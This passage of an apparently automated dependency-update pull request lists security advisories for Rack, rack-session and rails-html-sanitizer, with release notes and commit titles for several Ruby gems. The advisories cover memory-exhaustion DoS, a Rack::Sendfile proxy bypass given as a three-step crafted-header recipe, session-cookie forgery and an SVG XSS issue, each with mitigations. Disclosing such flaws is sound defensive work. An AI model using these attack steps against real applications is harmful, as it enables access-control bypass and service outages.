Rack::Request#POSTreads the entire request body into memory forContent-Type: application/x-www-form-urlencoded, callingrack.input.read(nil)without enforcing a length or cap. Large request bodies can therefore be buffered completely into process memory before parsing, leading to denial of service (DoS) through memory exhaustion.Details
When handling non-multipart form submissions, Rack’s request parser performs:
form_vars = get_header(RACK_INPUT).readSince
readis called with no argument, the entire request body is loaded into a RubyString. This occurs before query parameter parsing or enforcement of anyparams_limit. As a result, Rack applications without an upstream body-size limit can experience unbounded memory allocation proportional to request size.Impact
Attackers can send large
application/x-www-form-urlencodedbodies to consume process memory, causing slowdowns or termination by the operating system (OOM). The effect scales linearly with request size and concurrency. Even with parsing limits configured, the issue occurs before those limits are enforced.Mitigation
- Update to a patched version of Rack that enforces form parameter limits using
query_parser.bytesize_limit, preventing unbounded reads ofapplication/x-www-form-urlencodedbodies.- Enforce strict maximum body size at the proxy or web server layer (e.g., Nginx
client_max_body_size, ApacheLimitRequestBody).
🚨 Rack has a Possible Information Disclosure Vulnerability
Summary
A possible information disclosure vulnerability existed in
Rack::Sendfilewhen running behind a proxy that supportsx-sendfileheaders (such as Nginx). Specially crafted headers could causeRack::Sendfileto miscommunicate with the proxy and trigger unintended internal requests, potentially bypassing proxy-level access restrictions.Details
When
Rack::Sendfilereceived untrustedx-sendfile-typeorx-accel-mappingheaders from a client, it would interpret them as proxy configuration directives. This could cause the middleware to send a "redirect" response to the proxy, prompting it to reissue a new internal request that was not subject to the proxy's access controls.An attacker could exploit this by:
- Setting a crafted
x-sendfile-type: x-accel-redirectheader.- Setting a crafted
x-accel-mappingheader.- Requesting a path that qualifies for proxy-based acceleration.
Impact
Attackers could bypass proxy-enforced restrictions and access internal endpoints intended to be protected (such as administrative pages). The vulnerability did not allow arbitrary file reads but could expose sensitive application routes.
This issue only affected systems meeting all of the following conditions:
- The application used
Rack::Sendfilewith a proxy that supportsx-accel-redirect(e.g., Nginx).- The proxy did not always set or remove the
x-sendfile-typeandx-accel-mappingheaders.- The application exposed an endpoint that returned a body responding to
.to_path.Mitigation
Upgrade to a fixed version of Rack which requires explicit configuration to enable
x-accel-redirect:use Rack::Sendfile, "x-accel-redirect"Alternatively, configure the proxy to always set or strip the headers (you should be doing this!):
proxy_set_header x-sendfile-type x-accel-redirect; proxy_set_header x-accel-mapping /var/www/=/files/;Or in Rails applications, disable sendfile completely:
config.action_dispatch.x_sendfile_header = nil
🚨 Rack: Multipart parser buffers large non‑file fields entirely in memory, enabling DoS (memory exhaustion)
Summary
Rack::Multipart::Parserstores non-file form fields (parts without afilename) entirely in memory as RubyStringobjects. A single large text field in a multipart/form-data request (hundreds of megabytes or more) can consume equivalent process memory, potentially leading to out-of-memory (OOM) conditions and denial of service (DoS).Details
During multipart parsing, file parts are streamed to temporary files, but non-file parts are buffered into memory:
body = String.new # non-file → in-RAM buffer @mime_parts[mime_index].body << contentThere is no size limit on these in-memory buffers. As a result, any large text field—while technically valid—will be loaded fully into process memory before being added to
params.Impact
Attackers can send large non-file fields to trigger excessive memory usage. Impact scales with request size and concurrency, potentially leading to worker crashes or severe garbage-collection overhead. All Rack applications processing multipart form submissions are affected.
Mitigation
- Upgrade: Use a patched version of Rack that enforces a reasonable size cap for non-file fields (e.g., 2 MiB).
- Workarounds:
- Restrict maximum request body size at the web-server or proxy layer (e.g., Nginx
client_max_body_size).- Validate and reject unusually large form fields at the application level.
🚨 Rack's multipart parser buffers unbounded per-part headers, enabling DoS (memory exhaustion)
Summary
Rack::Multipart::Parsercan accumulate unbounded data when a multipart part’s header block never terminates with the required blank line (CRLFCRLF). The parser keeps appending incoming bytes to memory without a size cap, allowing a remote attacker to exhaust memory and cause a denial of service (DoS).Details
While reading multipart headers, the parser waits for
CRLFCRLFusing:@sbuf.scan_until(/(.*?\r\n)\r\n/m)If the terminator never appears, it continues appending data (
@sbuf.concat(content)) indefinitely. There is no limit on accumulated header bytes, so a single malformed part can consume memory proportional to the request body size.Impact
Attackers can send incomplete multipart headers to trigger high memory use, leading to process termination (OOM) or severe slowdown. The effect scales with request size limits and concurrency. All applications handling multipart uploads may be affected.
Mitigation
- Upgrade to a patched Rack version that caps per-part header size (e.g., 64 KiB).
- Until then, restrict maximum request sizes at the proxy or web server layer (e.g., Nginx
client_max_body_size).
🚨 Rack's unbounded multipart preamble buffering enables DoS (memory exhaustion)
Summary
Rack::Multipart::Parserbuffers the entire multipart preamble (bytes before the first boundary) in memory without any size limit. A client can send a large preamble followed by a valid boundary, causing significant memory use and potential process termination due to out-of-memory (OOM) conditions.Details
While searching for the first boundary, the parser appends incoming data into a shared buffer (
@sbuf.concat(content)) and scans for the boundary pattern:@sbuf.scan_until(@body_regex)If the boundary is not yet found, the parser continues buffering data indefinitely. There is no trimming or size cap on the preamble, allowing attackers to send arbitrary amounts of data before the first boundary.
Impact
Remote attackers can trigger large transient memory spikes by including a long preamble in multipart/form-data requests. The impact scales with allowed request sizes and concurrency, potentially causing worker crashes or severe slowdown due to garbage collection.
Mitigation
- Upgrade: Use a patched version of Rack that enforces a preamble size limit (e.g., 16 KiB) or discards preamble data entirely per RFC 2046 § 5.1.1.
- Workarounds:
- Limit total request body size at the proxy or web server level.
- Monitor memory and set per-process limits to prevent OOM conditions.
Release Notes
3.2.6
Full Changelog: v3.2.5...v3.2.6
3.2.4 (from changelog)
Fixed
- Multipart parser: limit MIME header size check to the unread buffer region to avoid false
multipart mime part header too largeerrors when previously read data accumulates in the scan buffer. (#2392, @alpaca-tc, @willnet, @krororo)
3.2.2 (from changelog)
Security
- CVE-2025-61772 Multipart parser buffers unbounded per-part headers, enabling DoS (memory exhaustion)
- CVE-2025-61771 Multipart parser buffers large non‑file fields entirely in memory, enabling DoS (memory exhaustion)
- CVE-2025-61770 Unbounded multipart preamble buffering enables DoS (memory exhaustion)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 35 commits:
Bump patch version.Fix typo in test.Fix test expectation.Add Ruby v4.0 to the test matrix.Drop EOL Rubies from external tests.Implement OBS unfolding for multipart requests per RFC 5322 2.2.3Limit the number of quoted escapes during multipart parsingAdd Content-Length size check in Rack::Multipart::ParserFix root prefix bug in Rack::StaticOnly do a simple substitution on the x-accel-mapping pathsChange Rack::Request::AUTHORITY to only match RFC allowed charactersUse a default limit of 100 byte rangesUse `String#bytesize` for `Content-Length` in error responses.Fix `header_rules` bypass via URL-encoded paths.Raise error for multipart requests with multiple boundary parametersParse Forwarded header instead of using regexp scanAvoid O(n^2) algorithm in Rack::Utils.select_best_encodingRoot directory disclosure via unescaped regex interpolation in \`Rack::Directory\`.Add missing releases to changelog.Bump patch version.Prevent directory traversal via root prefix bypass.XSS injection via malicious filename in `Rack::Directory`.Fix MockResponse#body when the body is a Proc (#2420)Bump patch version.Allow Multipart head to span read boundary. (#2392)Bump patch version.Unbounded read in `Rack::Request` form parsing can lead to memory exhaustion.Improper handling of proxy headers in `Rack::Sendfile` may allow proxy bypass.Normalize adivsories links.Fix handling of `Errno::EPIPE` in multipart tests.Bump patch version.Limit amount of retained data when parsing multipart requestsFix denial of service vulnerbilties in multipart parsingBump patch version.Support streaming bodies when using `Rack::Events`. (#2375)
↗️ rack-session (indirect, 2.1.1 → 2.1.2) · Repo · Changelog
Security Advisories 🚨
🚨 Rack::Session::Cookie secrets: decrypt failure fallback enables secretless session forgery and Marshal deserialization
Rack::Session::Cookieincorrectly handles decryption failures when configured withsecrets:. If cookie decryption fails, the implementation falls back to a default decoder instead of rejecting the cookie. This allows an unauthenticated attacker to supply a crafted session cookie that is accepted as valid session data without knowledge of any configured secret.Because this mechanism is used to load session state, an attacker can manipulate session contents and potentially gain unauthorized access.
Details
When
secrets:is configured,Rack::Session::Cookieattempts to decrypt incoming session cookies using one of the configured encryptors. If all decrypt attempts fail, the implementation does not reject the cookie. Instead, it falls back to decoding the cookie using a default coder.This fallback path processes attacker-controlled cookie data as trusted session state. The behavior is implicit and occurs even when encrypted cookies are expected.
The fallback decoder is applied automatically and does not require the application to opt into a non-encrypted session format. As a result, a client can send a specially crafted cookie value that bypasses the intended integrity protections provided by
secrets:.This issue affects both default configurations and those using alternative serializers for encrypted payloads.
Impact
Any Rack application using
Rack::Session::Cookiewithsecrets:may be affected.Note
Rails applications are typically not affected — Rails uses
ActionDispatch::Session::CookieStore, which is a separate implementation backed byActiveSupport::MessageEncryptorand does not share the vulnerable code path.An unauthenticated attacker can supply a crafted session cookie that is accepted as valid session data. This can lead to authentication bypass or privilege escalation in applications that rely on session values for identity or authorization decisions.
Depending on application behavior and available runtime components, processing of untrusted session data may also expose additional risks.
Mitigation
- Update to a patched version of
rack-sessionthat rejects cookies when decryption fails under thesecrets:configuration.
- After updating, rotate session secrets to invalidate existing session cookies, since attacker-supplied session data may have been accepted and re-issued prior to the fix.
Release Notes
2.1.2 (from changelog)
- CVE-2026-39324 Don't fall back to unencrypted coder if encryptors are present.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 10 commits:
Bump patch version.Don't fall back to unencrypted coder if encryptors are present.Bump actions/checkout from 4 to 5 (#54)Add top level session spec to validate existing formats.Add rails to external tests.Allow the v2 encryptor to serialize messages with `Marshal` (#44)Fix compatibility with older Rubies.Support UTF-8 data when using the JSON serializer (#39)Fix `auth_tag` retrieval on JRuby (#32)Add AEAD encryption (#23)
↗️ rackup (indirect, 2.2.1 → 2.3.1) · Repo · Changelog
Commits
See the full diff on Github. The new version differs by 10 commits:
Bump patch version.Fix WEBrick SERVER_PORT handling.Bump minor version.Update the webrick handler to support `OPTIONS *` requests. (#40)Update workflows.Update spec_server.rbFix references from Rack::Server to Rackup::Server in commentsProvide a 'Changelog' link on rubygems.org/gems/rackupDocumentation for how to access handlers programatically.Update `releases.md` - fixes #29.
↗️ rails-html-sanitizer (indirect, 1.6.2 → 1.7.1) · Repo · Changelog
Security Advisories 🚨
🚨 Rails HTML Sanitizers: Possible XSS vulnerability with certain configurations
Summary
There is a possible cross-site scripting vulnerability in rails-html-sanitizer when the sanitizer is configured to allow an SVG reference element such as
<use>. See related GHSA-9wjq-cp2p-hrgf in Loofah, whose SVG local-reference logic rails-html-sanitizer mirrors.
- Versions affected:
>= 1.0.3, < 1.7.1- Not affected:
< 1.0.3- Fixed versions:
1.7.1Impact
Rails::HTML::PermitScrubberrestricts SVG reference elements in theSVG_ALLOW_LOCAL_HREFcollection to local, same-document references, but that restriction covered only thexlink:hrefattribute. Browsers also accept a plainhrefattribute per the SVG 2 spec, and it was not restricted, so those elements could reference arbitrary external documents. SVG<use>can load and render external SVG content by reference, and if the referenced document is same-origin and contains scripts, it could execute in the context of the sanitized document.<feImage>can load external images, which can be used for tracking.Applications are impacted only when the allowed tags are overridden to include one of these SVG reference elements, for example
<use>or<feImage>. The default allowed tags do not include these SVG elements, so applications using the default configuration are not affected.Workarounds
Remove the SVG reference elements (such as
useandfeImage) from the overridden allowed tags. Applications using the default allowed tags are not affected.References
- GHSA-9wjq-cp2p-hrgf: SVG
hrefattribute bypasses local-reference restriction in Loofah- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Credit
Found by maintainer Mike Dalessio during a security audit.
Release Notes
1.7.1
v1.7.1 / 2026-07-15
SVG reference elements now restrict both
hrefandxlink:hrefto local references.Previously
PermitScrubberrestricted onlyxlink:hrefon elements inSVG_ALLOW_LOCAL_HREF,
so a plainhrefattribute on those elements could reference an external document. Applications
are only affected if the allowed tags are overridden to include an SVG reference element such as
use; the default configuration is not affected.This change addresses GHSA-cj75-f6xr-r4g7 (CVE requested). The minimum Loofah dependency is now
~> 2.25, >= 2.25.2.Mike Dalessio @flavorjones
1.7.0
v1.7.0 / 2026-02-24
Add
Rails::HTML::Sanitizer.allowed_uri?which delegates toLoofah::HTML5::Scrub.allowed_uri?,
allowing the Rails framework to check URI safety without a direct dependency on Loofah.The minimum Loofah dependency is now
~> 2.25.Mike Dalessio @flavorjones
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ railties (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Release Notes
8.0.1 (from changelog)
Skip generation system tests related code for CI when
--skip-system-testis given.fatkodima
Don't add bin/thrust if thruster is not in Gemfile.
Étienne Barrié
Don't install a package for system test when applications don't use it.
y-yagi
8.0.0.1 (from changelog)
- No changes.
8.0.0 (from changelog)
- No changes.
7.2.2.1 (from changelog)
- No changes.
7.2.2 (from changelog)
- No changes.
7.2.1.2 (from changelog)
- No changes.
7.2.1.1 (from changelog)
- No changes.
7.2.1 (from changelog)
Fix
rails consolefor application with non default application constant.The wrongly assumed the Rails application would be named
AppNamespace::Application, which is the default but not an obligation.Jean Boussier
Fix the default Dockerfile to include the full sqlite3 package.
Prior to this it only included
libsqlite3, so it wasn't enough to runrails dbconsole.Jerome Dalbert
Don't update public directory during
app:updatecommand for API-only Applications.y-yagi
Don't add bin/brakeman if brakeman is not in bundle when upgrading an application.
Etienne Barrié
Remove PWA views and routes if its an API only project.
Jean Boussier
Simplify generated Puma configuration
DHH, Rafael Mendonça França
7.2.0 (from changelog)
The new
bin/rails bootcommand boots the application and exits. Supports the standard-e/--environmentoptions.Xavier Noria
Create a Dev Container Generator that generates a Dev Container setup based on the current configuration of the application. Usage:
bin/rails devcontainerAndrew Novoselac
Add Rubocop and GitHub Actions to plugin generator. This can be skipped using --skip-rubocop and --skip-ci.
Chris Oliver
Remove support for
oracle,sqlserverand JRuby specific database adapters from therails newandrails db:system:changecommands.The supported options are
sqlite3,mysql,postgresqlandtrilogy.Andrew Novoselac
Add options to
bin/rails app:update.
bin/rails app:updatenow supports the same generic options that generators do:
--force: Accept all changes to existing files--skip: Refuse all changes to existing files--pretend: Don't make any changes--quiet: Don't output all changes madeÉtienne Barrié
Implement Rails console commands and helpers with IRB v1.13's extension APIs.
Rails console users will now see
helper,controller,new_session, andappunder IRB help message'sHelper methodscategory. Andreload!command will be displayed under the newRails consolecommands category.Prior to this change, Rails console's commands and helper methods are added through IRB's private components and don't show up in its help message, which led to poor discoverability.
Stan Lo
Remove deprecated
Rails::Generators::Testing::Behaviour.Rafael Mendonça França
Remove deprecated
find_cmd_and_execconsole helper.Rafael Mendonça França
Remove deprecated
Rails.config.enable_dependency_loading.Rafael Mendonça França
Remove deprecated
Rails.application.secrets.Rafael Mendonça França
Generated Gemfile will include
require: "debug/prelude"for thedebuggem.Requiring
debuggem directly automatically activates it, which could introduce additional overhead and memory usage even without entering a debugging session.By making Bundler require
debug/preludeinstead, developers can keep their access to breakpoint methods likedebuggerorbinding.break, but the debugger won't be activated until a breakpoint is hit.Stan Lo
Skip generating a
testjob in ci.yml when a new application is generated with the--skip-testoption.Steve Polito
Update the
.node-versionfile conditionally generated for new applications to 20.11.1Steve Polito
Fix sanitizer vendor configuration in 7.1 defaults.
In apps where rails-html-sanitizer was not eagerly loaded, the sanitizer default could end up being Rails::HTML4::Sanitizer when it should be set to Rails::HTML5::Sanitizer.
Mike Dalessio, Rafael Mendonça França
Set
action_mailer.default_url_optionsvalues indevelopmentandtest.Prior to this commit, new Rails applications would raise
ActionView::Template::Errorif a mailer included a url built with a*_pathhelper.Steve Polito
Introduce
Rails::Generators::Testing::Assertions#assert_initializer.Compliments the existing
initializergenerator action.assert_initializer "mail_interceptors.rb"Steve Polito
Generate a .devcontainer folder and its contents when creating a new app.
The .devcontainer folder includes everything needed to boot the app and do development in a remote container.
The container setup includes:
- A redis container for Kredis, ActionCable etc.
- A database (SQLite, Postgres, MySQL or MariaDB)
- A Headless chrome container for system tests
- Active Storage configured to use the local disk and with preview features working
If any of these options are skipped in the app setup they will not be included in the container configuration.
These files can be skipped using the
--skip-devcontaineroption.Andrew Novoselac & Rafael Mendonça França
Introduce
SystemTestCase#served_byfor configuring the System Test application server.By default this is localhost. This method allows the host and port to be specified manually.
class ApplicationSystemTestCase < ActionDispatch::SystemTestCase served_by host: "testserver", port: 45678 endAndrew Novoselac & Rafael Mendonça França
bin/rails testwill no longer load files named*_test.rbif they are located in thefixturesfolder.Edouard Chin
Ensure logger tags configured with
config.log_tagsare still active inrequest.action_dispatchhandlers.KJ Tsanaktsidis
Setup jemalloc in the default Dockerfile for memory optimization.
Matt Almeida, Jean Boussier
Commented out lines in .railsrc file should not be treated as arguments when using rails new generator command. Update ARGVScrubber to ignore text after
#symbols.Willian Tenfen
Skip CSS when generating APIs.
Ruy Rocha
Rails console now indicates application name and the current Rails environment:
my-app(dev)> # for RAILS_ENV=development my-app(test)> # for RAILS_ENV=test my-app(prod)> # for RAILS_ENV=production my-app(my_env)> # for RAILS_ENV=my_envThe application name is derived from the application's module name from
config/application.rb. For example,MyAppwill displayed asmy-appin the prompt.Additionally, the environment name will be colorized when the environment is
development(blue),test(blue), orproduction(red), if your terminal supports it.Stan Lo
Ensure
autoload_paths,autoload_once_paths,eager_load_paths, andload_pathsonly have directories when initialized from engine defaults.Previously, files under the
appdirectory could end up there too.Takumasa Ochi
Prevent unnecessary application reloads in development.
Previously, some files outside autoload paths triggered unnecessary reloads. With this fix, application reloads according to
Rails.autoloaders.main.dirs, thereby preventing unnecessary reloads.Takumasa Ochi
Use
oven-sh/setup-bunin GitHub CI when generating an app with Bun.TangRufus
Disable
pidfilegeneration in theproductionenvironment.Hans Schnedlitz
Set
config.action_view.annotate_rendered_view_with_filenamestotruein thedevelopmentenvironment.Adrian Marin
Support the
BACKTRACEenvironment variable to turn off backtrace cleaning.Useful for debugging framework code:
BACKTRACE=1 bin/rails serverAlex Ghiculescu
Raise
ArgumentErrorwhen readingconfig.x.somethingwith arguments:config.x.this_works.this_raises true # raises ArgumentErrorSean Doyle
Add default PWA files for manifest and service-worker that are served from
app/views/pwaand can be dynamically rendered through ERB. Mount these files explicitly at the root with default routes in the generated routes file.DHH
Updated system tests to now use headless Chrome by default for the new applications.
DHH
Add GitHub CI files for Dependabot, Brakeman, RuboCop, and running tests by default. Can be skipped with
--skip-ci.DHH
Add Brakeman by default for static analysis of security vulnerabilities. Allow skipping with
--skip-brakeman option.vipulnsward
Add RuboCop with rules from
rubocop-rails-omakaseby default. Skip with--skip-rubocop.DHH and zzak
Use
bin/rails runner --skip-executorto not wrap the runner script with an Executor.Ben Sheldon
Fix isolated engines to take
ActiveRecord::Base.table_name_prefixinto consideration.This will allow for engine defined models, such as inside Active Storage, to respect Active Record table name prefix configuration.
Chedli Bourguiba
Fix running
db:system:changewhen the app has no Dockerfile.Hartley McGuire
In Action Mailer previews, list inline attachments separately from normal attachments.
For example, attachments that were previously listed like
Attachments: logo.png file1.pdf file2.pdf
will now be listed like
Attachments: file1.pdf file2.pdf (Inline: logo.png)
Christian Schmidt and Jonathan Hefner
In mailer preview, only show SMTP-To if it differs from the union of To, Cc and Bcc.
Christian Schmidt
Enable YJIT by default on new applications running Ruby 3.3+.
This can be disabled by setting
Rails.application.config.yjit = falseJean Boussier, Rafael Mendonça França
In Action Mailer previews, show date from message
Dateheader if present.Sampat Badhe
Exit with non-zero status when the migration generator fails.
Katsuhiko YOSHIDA
Use numeric UID and GID in Dockerfile template.
The Dockerfile generated by
rails newsets the default user and group by name instead of UID:GID. This can cause the following error in Kubernetes:container has runAsNonRoot and image has non-numeric user (rails), cannot verify user is non-rootThis change sets default user and group by their numeric values.
Ivan Fedotov
Disallow invalid values for rails new options.
The
--database,--asset-pipeline,--css, and--javascriptoptions forrails newtake different arguments. This change validates them.Tony Drake, Akhil G Krishnan, Petrik de Heus
Conditionally print
$stdoutwhen invokingrun_generator.In an effort to improve the developer experience when debugging generator tests, we add the ability to conditionally print
$stdoutinstead of capturing it.This allows for calls to
binding.irbandputswork as expected.RAILS_LOG_TO_STDOUT=true ./bin/test test/generators/actions_test.rbSteve Polito
Remove the option
config.public_file_server.enabledfrom the generators for all environments, as the value is the same in all environments.Adrian Hirt
Please check 7-1-stable for previous changes.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ rake (indirect, 13.3.0 → 13.4.2) · Repo · Changelog
Release Notes
13.4.2
What's Changed
Full Changelog: v13.4.1...v13.4.2
13.4.1
What's Changed
Full Changelog: v13.4.0...v13.4.1
13.4.0
What's Changed
- refactor: fix ambiguous regexp / assertion in one of the tests by @pvdb in #667
- Fix RDoc formatting in doc/command_line_usage.rdoc by @hsbt in #693
- Document implicit file tasks by @hsbt in #692
- Show
chdiroption as a command by @nobu in #552- Verbose console by @kaiquekandykoga in #394
- Align example with text by @henrebotha in #632
- Allow accept multiple files to
TESTenv var by @Yegorov in #712- Replace Rake's Win32-specific logic with a 100% equivalent, pure-Ruby implementation by @pvdb in #669
- Add Options class and switch Application to use it instead of anonymous Struct by @hsbt in #694
- Accept Pathname object as rule's prerequisite by @gemmaro in #528
- Dedupe and simplify
standard_system_dirby @pvdb in #713New Contributors
- @kaiquekandykoga made their first contribution in #394
- @henrebotha made their first contribution in #632
- @Yegorov made their first contribution in #712
Full Changelog: v13.3.1...v13.4.0
13.3.1
What's Changed
- Remove useless condition check by @DormancyWang in #636
- Added document for RAKEOPT by @hsbt in #639
- lewagon/wait-on-check-action didn't need bot token by @hsbt in #642
- Fixed wrong name of environmental variable by @hsbt in #643
- The old Ruby version of Windows is broken by @hsbt in #647
- Avoid to use
itby @hsbt in #650- Fixed assertion result with the latest stable version of JRuby by @hsbt in #655
- Fixup
test_load_error_raised_implicitlywith JRuby by @hsbt in #657- Set source_code_uri metadata to this gem's public repo URL by @amatsuda in #662
- Fix TaskArguments#deconstruct_keys with keys = nil by @nevans in #635
- refactor: only include
libin$LOAD_PATHif not included yet by @pvdb in #610- silence warnings during execution of rake tasks in Rakefile (ex: rake test) by @luke-gru in #483
New Contributors
- @DormancyWang made their first contribution in #636
- @amatsuda made their first contribution in #662
- @nevans made their first contribution in #635
- @luke-gru made their first contribution in #483
Full Changelog: v13.3.0...v13.3.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ rdoc (indirect, 6.14.2 → 8.0.0) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ reline (indirect, 0.6.2 → 0.6.3) · Repo · Changelog
Release Notes
0.6.3
What's Changed
🐛 Bug Fixes
- Fix CSI pattern regexp to accept parameter bytes and intermediate bytes by @tompng in #848
- Use key symbol names instead of hardcoded C-r C-s C-h C-? in reverse/forward i-search by @tompng in #855
🛠 Other Changes
- Bump actions/checkout from 4 to 5 by @dependabot[bot] in #846
- Bump step-security/harden-runner from 2.12.2 to 2.13.0 by @dependabot[bot] in #844
- Bump actions/upload-pages-artifact from 3 to 4 by @dependabot[bot] in #849
- Bump step-security/harden-runner from 2.13.0 to 2.13.1 by @dependabot[bot] in #850
- Use test-unit-ruby-core by @tompng in #852
- Remove retrieve_keybuffer by @tompng in #851
- Bump rubygems/release-gem from 1.1.1 to 1.1.2 by @dependabot[bot] in #857
- Use bundler/setup instead of Bunlder.require in multiline_repl by @tompng in #860
- Bump version to 0.6.3 by @ima1zumi in #858
Full Changelog: v0.6.2...v0.6.3
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
Bump up to 0.6.3 (#858)Use bundler/setup instead of Bunlder.require in multiline_repl (#860)Merge pull request #857 from ruby/dependabot/github_actions/rubygems/release-gem-1.1.2Bump rubygems/release-gem from 1.1.1 to 1.1.2Use key symbol names instead of hardcoded C-r C-s C-h C-? in reverse/forward i-search (#855)Fix CSI pattern regexp to accept parameter bytes and intermediate bytes (#848)Remove retrieve_keybuffer (#851)Use test-unit-ruby-core (#852)Merge pull request #850 from ruby/dependabot/github_actions/step-security/harden-runner-2.13.1Bump step-security/harden-runner from 2.13.0 to 2.13.1Merge pull request #849 from ruby/dependabot/github_actions/actions/upload-pages-artifact-4Bump actions/upload-pages-artifact from 3 to 4Merge pull request #844 from ruby/dependabot/github_actions/step-security/harden-runner-2.13.0Bump step-security/harden-runner from 2.12.2 to 2.13.0Merge pull request #846 from ruby/dependabot/github_actions/actions/checkout-5Bump actions/checkout from 4 to 5
↗️ thor (indirect, 1.4.0 → 1.5.0) · Repo · Changelog
Release Notes
1.5.0
What's Changed
- Add specs and linter documentation by @hlascelles in #907
- Add tree command by @hlascelles in #906
- feat: support
insert_into_fileerroring if the file is not changed, and addinsert_into_fileby @G-Rath in #908- support THOR_MERGE values with arguments by @rafaelfranca in #910
- Hidden commands should not make an invocation ambiguous by @deivid-rodriguez in #911
- Set frozen_string_literal: true in colors.rb by @tenderlove in #913
- fix encoding error when running a merge tool by @moritzschepp in #916
New Contributors
- @tenderlove made their first contribution in #913
- @dependabot[bot] made their first contribution in #912
- @moritzschepp made their first contribution in #916
Full Changelog: v1.4.0...v1.5.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 25 commits:
Prepare for 1.5.0Merge pull request #919 from rails/rmf-ciUnlock bundler development dependencyTest with Ruby 4.0Merge pull request #918 from rails/dependabot/github_actions/actions/checkout-6Merge pull request #916 from moritzschepp/ec-encodingBump actions/checkout from 5 to 6fix encoding error when running a merge toolRemove whatisthor.com referencesMerge pull request #912 from rails/dependabot/github_actions/actions/checkout-5Merge pull request #913 from rails/fsl-colorsSet frozen_string_literal: true in colors.rbBump actions/checkout from 4 to 5Merge pull request #911 from deivid-rodriguez/dont-suggest-hidden-commandsHidden commands should not make an invocation ambiguousMerge pull request #910 from rails/rm-fix-909Escape the diff tool as wellsupport THOR_MERGE values with argumentsMerge pull request #908 from G-Rath/new-inject-into-file-helperMerge pull request #906 from hlascelles/add-tree-flagfeat: add `insert_into_file!` and `inject_into_file!`Merge pull request #907 from hlascelles/add-local-test-documentationrefactor: move warningAdd tree flagAdd specs and linter documentation
↗️ timeout (indirect, 0.4.3 → 0.6.1) · Repo · Changelog
Release Notes
0.6.1
What's Changed
- add test case for string argument by @t-mangoe in #90
- Improve Timeout.timeout documentation formatting and typos by @ybiquitous in #92
- [DOC] document the private instance method by @nobu in #94
- Compatibility with Fiber scheduler. by @ioquatix in #97
- Remove warnings by @etiennebarrie in #99
New Contributors
- @t-mangoe made their first contribution in #90
- @ybiquitous made their first contribution in #92
- @ioquatix made their first contribution in #97
- @etiennebarrie made their first contribution in #99
Full Changelog: v0.6.0...v0.6.1
0.6.0
What's Changed
- Suppress warnings in two tests by @olleolleolle in #71
- Revert "Suppress warnings in two tests" by @nobu in #74
- Only the timeout method should be public on the Timeout module by @eregon in #76
- support Ractor by @ko1 in #75
- Test that Timeout does not expose extra constants by @eregon in #77
- Revert "Exclude constantly-failing test on x86_64-darwin" by @ko1 in #79
- Reset the interrupt mask when creating the Timeout thread by @eregon in #80
- Make Timeout.timeout work in a trap handler on CRuby by @eregon in #81
- Skip signal test on windows by @byroot in #82
- Add windows to CI matrix by @byroot in #83
- Fix failing timeout test by @luke-gruber in #85
- Restore original signal handler in test_timeout_in_trap_handler by @eregon in #87
- Run on Windows for all versions and remove old excludes by @eregon in #84
New Contributors
- @ko1 made their first contribution in #75
- @byroot made their first contribution in #82
- @luke-gruber made their first contribution in #85
Full Changelog: v0.4.4...v0.6.0
0.5.0
What's Changed
- Suppress warnings in two tests by @olleolleolle in #71
- Revert "Suppress warnings in two tests" by @nobu in #74
- Only the timeout method should be public on the Timeout module by @eregon in #76
- support Ractor by @ko1 in #75
- Test that Timeout does not expose extra constants by @eregon in #77
New Contributors
Full Changelog: v0.4.4...v0.5.0
0.4.4
What's Changed
- Gracefully handle a call to ensure_timeout_thread_created in a signal handler by @eregon in #64
- Add a workflow to sync commits to ruby/ruby by @k0kubun in #69
Full Changelog: v0.4.3...v0.4.4
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 70 commits:
Bump version to 0.6.1Remove warningsFix timing-dependent testCompatibility with Fiber scheduler. (#97)Merge pull request #98 from ruby/dependabot/github_actions/step-security/harden-runner-2.15.1Bump step-security/harden-runner from 2.15.0 to 2.15.1Merge pull request #96 from ruby/dependabot/github_actions/step-security/harden-runner-2.15.0Bump step-security/harden-runner from 2.14.2 to 2.15.0Merge pull request #95 from ruby/dependabot/github_actions/step-security/harden-runner-2.14.2Bump step-security/harden-runner from 2.14.1 to 2.14.2[DOC] document the private instance methodMerge pull request #93 from ruby/dependabot/github_actions/step-security/harden-runner-2.14.1Bump step-security/harden-runner from 2.14.0 to 2.14.1Improve Timeout.timeout documentation formatting and typosadd test case for string argumentv0.6.0Merge pull request #88 from ruby/dependabot/github_actions/step-security/harden-runner-2.14.0Bump step-security/harden-runner from 2.13.3 to 2.14.0Run on Windows for all versions and remove old excludesRestore original signal handler in test_timeout_in_trap_handlerFix failing timeout testMerge pull request #83 from byroot/test-on-windowsAdd windows to CI matrixMerge pull request #82 from byroot/no-sigusr1-win32Skip signal test on windowsMake Timeout.timeout work in a trap handler on CRubyEncapsulate adding a timeout RequestRevise Timeout.timeout docs and add a section about `ensure`Reset the interrupt mask when creating the Timeout threadMerge pull request #79 from ko1/revert_45816b1b2602278b6d6e069d36b24fd5e3437bddRevert "Exclude constantly-failing test on x86_64-darwin"v0.5.0Exclude dependabot updates from release noteMerge pull request #78 from ruby/dependabot/github_actions/step-security/harden-runner-2.13.3Bump step-security/harden-runner from 2.13.2 to 2.13.3Test that Timeout does not expose extra constantsExclude constantly-failing test on x86_64-darwinSimplify logic to make GET_TIME shareableFix logic for Ractor supportFix condition and fix test to catch that broken conditionMinor tweakssupport RactorOnly the timeout method should be public on the Timeout moduleBump actions/checkout from 5 to 6Bump step-security/harden-runner from 2.13.1 to 2.13.2Revert "Suppress warnings in two tests"Suppress warnings in two testsv0.4.4Update the latest versions of actionsAdd a workflow to sync commits to ruby/ruby (#69)Bump step-security/harden-runner from 2.13.0 to 